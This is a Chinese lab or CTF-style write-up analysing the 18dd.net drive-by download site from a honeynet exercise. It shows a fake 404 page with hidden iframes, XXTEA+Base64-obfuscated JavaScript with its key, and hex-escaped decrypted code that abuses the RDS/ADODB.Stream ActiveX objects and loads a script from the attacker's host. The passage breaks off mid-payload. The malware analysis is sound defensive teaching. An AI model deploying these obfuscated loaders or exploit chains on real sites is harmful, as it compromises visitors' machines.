内容简介：

2007 年 10 月，北京大学计算机科学技术研究所信息安全工程研究中心蜜网课题组的成员在利用蜜网系统分析挂马网站时，发现了一个域名为 18dd.net 的挂马网站。在链接分析的过程中，发现有大量恶意网页最终都重定向到了这个网站上，这在全部的挂马网站中排名第一。进一步的研究分析表明，这个网站的恶意代码入口是 http://aa.18dd.net/ww/new09.htm 文件。现在你的任务是根据给出的说明逐步分析，得到最终的木马文件的内容。

说明：

这个挂马网站现在已经无法访问了，但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问 start.html，在这个文件中给出了 new09.htm 的地址，在进入 new09.htm 后，每解密出一个文件地址，请对其作 32 位 MD5 散列，以散列值为文件名到 http://192.168.68.253/scom/hashed/目录下去下载对应的文件(注意：文件名中的英文字母为小写， 且没有扩展名)，即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件，请继续解密；如果解密出的地址是二进制程序文件，请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完成。请注意：被散列的文件地址应该是标准的 URL 形式，形如 http://xx.18dd.net/a/b.htm，否则会导致散列值计算不正确而无法继续。

问题：

1. 试述你是如何一步步地从所给的网页中获取最后的真实代码的？
2. 网页和 JavaScript 代码中都使用了什么样的加密方法？你是如何解密的？
3. 从解密后的结果来看，攻击者利用了那些系统漏洞？
4. 解密后发现了多少个可执行文件？其作用是什么？
5. 这些可执行文件中有下载器么？如果有，它们下载了哪些程序？这些程序又是什么作用的？

18dd.net 网站挂马分析（上篇）

首先我们应该访问说明中给出的 start.html 文件，但考虑到这个文件中包含了 new09.htm 是恶意网站的入口，我们不直接在浏览器中打开它，而把它下载下来。下载以后用记事本打开，搜索“new09.htm”，很幸运找到两处了：

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html dir=ltr>

<head>
<style>
a:link          {font:9pt/11pt 宋体; color:FF0000}
a:visited       {font:9pt/11pt 宋体; color:#4e4e4e}
</style>

<META NAME="ROBOTS" CONTENT="NOINDEX">

<title>找不到网页</title>

<META HTTP-EQUIV="Content-Type" Content="text-html; charset=gb2312">
</head>

<script>
```

```
function Homepage(){
<!--
// in real bits, urls get returned to our script like this:
// res://shdocvw.dll/http_404.htm#http://www.DocURL.com/bar.htm

    //For testing use DocURL = "res://shdocvw.dll/http_404.htm#https://www.microsoft.com/bar.htm"
    DocURL = document.URL;

    //this is where the http or https will be, as found by searching for :// but skipping the res://
    protocolIndex=DocURL.indexOf("://",4);

    //this finds the ending slash for the domain server
    serverIndex=DocURL.indexOf("/",protocolIndex + 3);

        //for the href, we need a valid URL to the domain. We search for the # symbol to find the begining
    //of the true URL, and add 1 to skip it - this is the BeginURL value. We use serverIndex as the end marker.
    //urlresult=DocURL.substring(protocolIndex - 4,serverIndex);
    BeginURL=DocURL.indexOf("#",1) + 1;

    urlresult="new09.htm";

    //for display, we need to skip after http://, and go to the next slash
    displayresult=DocURL.substring(protocolIndex + 3 ,serverIndex);

    InsertElementAnchor(urlresult, displayresult);
}

function HtmlEncode(text)
{
    return text.replace(/&/g, '&amp').replace(/'/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
}

function TagAttrib(name, value)
{
    return ' '+name+'="'+HtmlEncode(value)+'"';
}

function PrintTag(tagName, needCloseTag, attrib, inner){
    document.write( '<' + tagName + attrib + '>' + HtmlEncode(inner) );
```

```
    if (needCloseTag) document.write( '</' + tagName +'>' );
}

function URI(href)
{
    IEVer = window.navigator.appVersion;
    IEVer = IEVer.substr( IEVer.indexOf('MSIE') + 5, 3 );

    return (IEVer.charAt(1)=='.' && IEVer >= '5.5') ?
        encodeURI(href) :
        escape(href).replace(/%3A/g, ':').replace(/%3B/g, ';');
}

function InsertElementAnchor(href, text)
{
    PrintTag('A', true, TagAttrib('HREF', URI(href)), text);
}

//-->
</script>

<body bgcolor="FFFFFF">

<table width="410" cellpadding="3" cellspacing="5">

  <tr>
    <td align="left" valign="middle" width="360">
    <h1 style="COLOR:000000; FONT: 12pt/15pt 宋体"><!--Problem-->找不到网页</h1>
    </td>
  </tr>

  <tr>
    <td width="400" colspan="2">
    <font style="COLOR:000000; FONT: 9pt/11pt 宋体">正在查找的网页可能已被删除、重命名或暂时不可用。</font></td>
  </tr>

  <tr>
    <td width="400" colspan="2">
    <font style="COLOR:000000; FONT: 9pt/11pt 宋体">

    <hr color="#C0C0C0" noshade>

    <p>请尝试执行下列操作：</p>
```

```
    <ul>
      <li>如果是在“地址”栏中键入了网页地址，请检查其拼写是否正确。<br></li>

      <li>打开 <script>
      <!--
      if      (!((window.navigator.userAgent.indexOf("MSIE")      >      0)      &&
(window.navigator.appVersion.charAt(0) == "2")))
      {
        Homepage();
      }
      //-->
       </script>

       主页，然后查找与所需信息相关的链接。</li>

      <li>单击<a href="javascript:history.back(1)">后退</a>按钮尝试其他链接。</li>
    </ul>

    <h2 style="font:9pt/11pt 宋体; color:000000">HTTP 错误 404 - 找不到文件<br>
Internet 信息服务<BR></h2>

    <hr color="#C0C0C0" noshade>

    <p>技术信息（用于支持人员）</p>

<ul>
<li>          详          细          信          息          :          <br><a
href="http://www.microsoft.com/ContentRedirect.asp?prd=iis&sbp=&pver=5.0&pid=&ID=40
4&cat=web&os=&over=&hrd=&Opt1=&Opt2=&Opt3=" target="_blank">Microsoft 支持</a>
</li>
</ul>

    </font></td>
  </tr>

</table>
<iframe src="new09.htm" width="0" height="0"></iframe>
</body>
</html>
```

从这两处可以看出 start.html 文件在引用 new09.htm 文件时没有写绝对路径，所以 new09.htm 文件与 start.html 文件在同一目录下。同样，下载下来并用记事本打开。

```
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script                language="javascript"                type="text/javascript"
```

```
src="http://js.users.51.la/1299644.js"></script>
```

可以看到 new09.htm 文件中，用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件，又用 javascript 引用了一个 http://js.users.51.la/1299644.js 文件。

我们对它们分别作 MD5 散列，访问 http://www.cha88.cn/safe/md5.php，得：

```
MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3
MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3
```

按照说明，我们下载这两个文件：

```
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3
http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
```

前面一个文件有 10KB，而后者才 30 多字节。先看后者吧。打开以后，发现内容是：

```
// 本文件内容是流量统计代码,不是木马
```

这显然不是我们所想要的内容，于是打开另一个文件：

```
<script language =javascript>

function utf8to16(mBm1){var YAgps2,z$EnNkblS3,_J$OCI4,JULuNO5;var
K6,VjOzlmshy7;YAgps2=[];_J$OCI4=mBm1["\x6c\x65\x6e\x67\x74\x68"];z$EnNkblS3=0;while
(z$EnNkblS3<_J$OCI4){JULuNO5=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnN
kblS3++);switch(JULuNO5>>4)

{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case
7:YAgps2[YAgps2["\x6c\x65\x6e\x67\x74\x68"]]=mBm1["\x63\x68\x61\x72\x41\x74"](z$EnN
kblS3-1);break;case 12:case
13:K6=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);YAgps2[YAgps2[
"\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x
43\x68\x61\x72\x43\x6f\x64\x65"](((JULuNO5&0x1F)<<6)|(K6&0x3F));break;case
14:K6=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);VjOzlmshy7=mBm
1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);YAgps2[YAgps2["\x6c\x65
\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x6
1\x72\x43\x6f\x64\x65"](((JULuNO5&0x0F)<<12)|((K6&0x3F)<<6)|((VjOzlmshy7&0x3F)<<0))
;break;}}

return YAgps2["\x6a\x6f\x69\x6e"]('');}

var MsIRays8=new
window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-
1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,
-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,
11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32
,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);

function base64decode(Xs9)

{var UlBDOqT10,CKF11,ClCCjp12,gt13;var
qCZsfjn14,uAcMH15,Yuv16;uAcMH15=Xs9["\x6c\x65\x6e\x67\x74\x68"];qCZsfjn14=0;Yuv16 =
```

```
"";while(qCZsfjn14<uAcMH15)

{do

{UlBDOqT10=MsIRays8[Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff]}while(qCZsfjn14<uAcMH15&&UlBDOqT10==-1);if(UlBDOqT10==-1)

break;do

{CKF11=MsIRays8[Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff]}while(qCZsfjn14<uAcMH15&&CKF11==-1);if(CKF11==-1)

break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"]((UlBDOqT10<<2)|((CKF11&0x30)>>4));do

{ClCCjp12=Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff;if(ClCCjp12==61)

return Yuv16;ClCCjp12=MsIRays8[ClCCjp12]}while(qCZsfjn14<uAcMH15&&ClCCjp12==-1);if(ClCCjp12==-1)

break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((CKF11&0XF)<<4)|((ClCCjp12&0x3C)>>2));do

{gt13=Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff;if(gt13==61)

return Yuv16;gt13=MsIRays8[gt13]}while(qCZsfjn14<uAcMH15&&gt13==-1);if(gt13==-1)

break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((ClCCjp12&0x03)<<6)|gt13)}

return Yuv16}

function long2str(v,KDGWFiv17){var Wp18=v["\x6c\x65\x6e\x67\x74\x68"];var tGRDob19=v[Wp18-1]&0xffffffff;for(var EGOTt20=0;EGOTt20<Wp18;EGOTt20++)

{v[EGOTt20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](v[EGOTt20]&0xff,v[EGOTt20]>>>8&0xff,v[EGOTt20]>>>16&0xff,v[EGOTt20]>>>24&0xff);}

if(KDGWFiv17){return v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,tGRDob19);}
```

```
else{return v["\x6a\x6f\x69\x6e"]('');}}

function str2long(u$21,LskoLvqb22){var cFeuCN23=u$21["\x6c\x65\x6e\x67\x74\x68"];var
YQ_c24=[];for(var GapMYiRr25=0;GapMYiRr25<cFeuCN23;GapMYiRr25+=4)

{YQ_c24[GapMYiRr25>>2]=u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25)
|u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25+1)<<8|u$21["\x63\x68\x
61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25+2)<<16|u$21["\x63\x68\x61\x72\x43\x6f\x
64\x65\x41\x74"](GapMYiRr25+3)<<24;}

if(LskoLvqb22){YQ_c24[YQ_c24["\x6c\x65\x6e\x67\x74\x68"]]=cFeuCN23;}

return YQ_c24;}

function xxtea_decrypt(tFX26,Su27){if(tFX26==""){return"";}

var ArazzKi28=str2long(tFX26,false);var DhTWjwXc29=str2long(Su27,false);var
u_RIHeIWV30=ArazzKi28["\x6c\x65\x6e\x67\x74\x68"]-1;var
ttraIAo31=ArazzKi28[u_RIHeIWV30-1],lLMsWz32=ArazzKi28[0],B33=0x9E3779B9;var
pDDucrd34,F$s35,MsOR36=window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(u_R
IHeIWV30+1)),ipNggI37=MsOR36*B33&0xffffffff;while(ipNggI37!=0){F$s35=ipNggI37>>>2&3
;for(var
WkXem38=u_RIHeIWV30;WkXem38>0;WkXem38--){ttraIAo31=ArazzKi28[WkXem38-1];pDDucrd34=(
ttraIAo31>>>5^lLMsWz32<<2)+(lLMsWz32>>>3^ttraIAo31<<4)^(ipNggI37^lLMsWz32)+(DhTWjwX
c29[WkXem38&3^F$s35]^ttraIAo31);lLMsWz32=ArazzKi28[WkXem38]=ArazzKi28[WkXem38]-pDDu
crd34&0xffffffff;}

ttraIAo31=ArazzKi28[u_RIHeIWV30];pDDucrd34=(ttraIAo31>>>5^lLMsWz32<<2)+(lLMsWz32>>>
3^ttraIAo31<<4)^(ipNggI37^lLMsWz32)+(DhTWjwXc29[WkXem38&3^F$s35]^ttraIAo31);lLMsWz3
2=ArazzKi28[0]=ArazzKi28[0]-pDDucrd34&0xffffffff;ipNggI37=ipNggI37-B33&0xffffffff;}

return long2str(ArazzKi28,true);}

t="bLbKfYCzhRa6VOoMk5aDvXrrjWgHpa4kW6XgGld/Nmc/TxylQcbOwFefSy1+smG+l6jWIhUDn2ciZKqb
onai/fa+pdenO9Rn/Tn6o9ZNJeepN/U/4cCSGJI21/jCFvYI/Gbnr2fvT3gGW4uEkYcSJsfUxavCUtHrBBx
5WlP+THB++by3BPnX7/iEAKJ/bfCjMpao94bQmsqIj3xI7oqWVj7UTylf5iFpQs9xw3AQglu1QIZ6sNa5Wh
93QLbR25LOwe2HK1AKw1/qLv6q3Ucx3ZdJHJddxU/H5kOrx5iac7yOycMop3VlqM1rQf+SVJCkY6B4/antK
XS3OdDf8vr9LExKCHYleky2QBHi/hJ8I7LLy1kFLBrVMD03ip4cIDv4+VJP4RDdvTX9bbS15Kegj5UUjKQe
S2OuaROiPZLRq/Klydt2ZMG4+SDNeSuhYqmaKNWVuJPKVS3uKimS6Rz4nvkujtcJQRBWRZ3UYgwoslvyaL5
+COlgkX34nKRjqxTIoabt2zLKL1x4aG6l7Ds2+G+on3cWFtdXlKGDoysF9IJ585DGu/7UjiLjZu3llzDGSN
abSauFhlJlCUyAN6n3xYIUBmJsr44MT8L+ABYY/votMqNWmDGC4pd0+RG3iGpVy9H6SyEOq1gfNHDCDDZXT
f592yMyRtD/ghk52HpLJ3S90j+ev9f7QsRIwa8uROGW9OuW9sjpj8rDFJqh3vRjEGvss1uqlgMrBBYZ8jDU
7xaarZSYqxHyXjO7aAGzAj5HhU7jGk6nXxJ7WdOXRc0UgJKrMCR7l1dhqO6NJs5uPh3pl7UVShcrMvzyBQo
```

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

```
ZsQwIstKTlg66rQQBKiC3LrqF7pUwcGpqmUs35QdIFl16P5PeYsGgRVG9nYNNxNUhNMXIIQ7/3TCNAjxxzM
xUvSDivDoqba1awBo1XCxDOBEiFWeI1fia2wRhseKZQp86sntWghqh4cUzYatuwvOhwIDjGmN68y8N5bQui
XG2WkMkMOYW9oHeU/DlERgAQO4f7KedZR+KyvEvIpTMScEh8kg7RT+An8hmN8fqQXqOqAvl1iZrpGeVtOf4
oOqqsBYNyoDrmNdP1Omt726YtFOaCxOo/gllDlynNWUEzhqB4+7ERr1wuodt8JALnTnChV5ilRb6+CbZGVp
9LfKAx6YrOKTPqGdxXTWmT61Ooe41hfGNY/NQYz5IoomIjR8owAOGBQ/ZKPxyFtr/ASGoG+if9TZ3PML3BD
OBWzTDlI1fsNrPpV727R+Fb5cxFXWiHNKqgXkqb2CRYm/ABxFfoprzKy68GqTw4UxFMrc/QlojjkTorhDId
5wnBD3UR8MSWXmGXF8EbJbgL4U9Cz9d8hbrtHlbc4UR+MgLEzQqTgsGm/RMkbCku5swBqrEeDsvJqKSjI50
a+diCFk7Zm2LuhVbwfTitsgjtr1VOWk8MYJomyn7fGexlMHOigURGdnfXx7T1sflG3rIUvOLKSb+j+XE5o+
GjR50mBswgixNpkFDPdlk8ON7lMwj+SpBPzTT3MIuCnvVJdnemahexDmVjJxBTIsIc4AfWURj6sFK9+Vu7e
lKZBF86J9KQN4aUB7ujQnmsyCk29KQDhUEYHfyN7aDc3pdxl2LHrSyn6e790e5eZ6aC2LJUsokocz3ixyAY
DLS6scEpoRbcU2c9CcBLDWNxMa/CpEHKEM5LPnt2lPoAwfZZNrgtWMznVcYQJzAueKcsWJ4g8crzv8swYHX
MQJswcWucrwGFEsIFkLDOpvOm3FvKOKZq+ZNo8hEUgGCzry2dVQzhLCLjdlmZ1oJ1v8wINli/2qdncjR4MA
Wd95T/Ugal6GEv/uDQGvOvszqTOXBrj+K+6YOjAHshnAjhSKk9XoOCUNiZIqH6b73gVWGvyJImY5zJEppVT
/EMuYu6PAGmF2zzLEQbCmMmEuUQqYvdSSg0gHnga0k+ICBmc52x4VZ30E67jjytU5Wsmo0zbui7TvReiEgy
UJVgJUwNpyXrPvKpNhvQSYj02mQ/xqKDjv2QVHiSLFzMZaUPpfB0wKTP85tBxAUZRrEEVGCWUXaLfPuj9ja
pBdt7glq+qO5DKhtF37/JxAbulqhOMx8U/sjjtUadC1H5vpqqYTi7dMWFprAt6W1mokPTzEHGaOvWAGzdO8
qspbEOrz2csHun2KyY/5347k38AHObkfHBTQ9bQI32dkRqiEY9Y9CWTRllVKuLhnCrObYJOYP5o751jlw67
Lsb1bNRkKFyec17oo43g==";

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t);

</script>
```

它的内容看起来很复杂，但实际上这是一种被称为 XXTEA+Base64 的加密方法，对付这种加密方法，我们只要找到它的加密密钥就可以。注意上面的倒数第三行，即：

```
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
```

xxtea_decrypt 函数的第二个参数就是密钥。加密者果然老奸巨滑，连密钥也被处理过，不过只是简单地使用了 16 进制加密。转换一下，密钥是“script”。

访问 http://www.cha88.cn/safe/xxtea.php，在密钥一栏中填入“script”，在下面大的文本框中粘贴那个文件的全部内容，点“解密”，文本框的内容变为：

```
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\
x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64
\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x6
6\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x
65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\
x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63
\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x2
2\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x
74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\
x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31
\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x2
2\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x
```

```
65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\
x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a
\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x7
3\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x
73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\
x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29
\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x6
3\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x
78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\
x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f
\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x7
5\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x
73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\
x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69
\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x6
